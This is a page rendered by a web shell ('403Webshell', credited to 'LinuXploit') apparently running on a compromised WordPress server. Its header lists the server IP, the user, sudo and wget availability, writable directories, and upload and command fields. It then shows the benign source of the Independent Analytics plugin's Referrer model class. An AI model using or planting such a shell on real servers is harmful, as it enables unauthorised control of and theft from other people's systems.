403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Models/Referrer.php
<?php

namespace IAWP\Models;

use IAWP\Favicon\Favicon;
/** @internal */
class Referrer extends \IAWP\Models\Model
{
    use \IAWP\Models\Universal_Model_Columns;
    protected $row;
    private $is_direct;
    private $referrer;
    private $domain;
    private $referrer_type;
    public function __construct($row)
    {
        $this->row = $row;
        $this->is_direct = $row->domain === '';
        $this->referrer = $row->referrer;
        $this->domain = $row->domain;
        $this->referrer_type = $row->referrer_type;
    }
    public function id() : int
    {
        return $this->row->referrer_id;
    }
    public function table_type() : string
    {
        return 'referrers';
    }
    /**
     * Return group name, referrer url, or direct.
     *
     * @return string Referrer
     */
    // Todo - This is the one the table is doing...
    public function referrer() : string
    {
        return $this->referrer;
    }
    public function referrer_url() : string
    {
        return $this->domain;
    }
    public function referrer_favicon_url() : ?string
    {
        return Favicon::for($this->domain)->url();
    }
    public function fallback_favicon_color_id() : int
    {
        $options = [1, 2, 3, 4, 5];
        return $options[\abs(\crc32($this->row->domain ?? '')) % \count($options)];
    }
    /**
     * Return group referrer type, referrer, or direct.
     *
     * @return string Referrer type
     */
    public function referrer_type() : string
    {
        return $this->referrer_type;
    }
    public function is_direct() : bool
    {
        return $this->is_direct;
    }
    /**
     * Should the referrer record link back to the referrering domain?
     *
     * @return bool
     */
    public function has_link() : bool
    {
        return !$this->is_direct() && $this->referrer_type !== 'Ad';
    }
    public function examiner_title() : ?string
    {
        return $this->referrer();
    }
    public function examiner_url() : string
    {
        return \IAWPSCOPED\iawp_dashboard_url(['tab' => 'referrers', 'examiner' => $this->id()]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit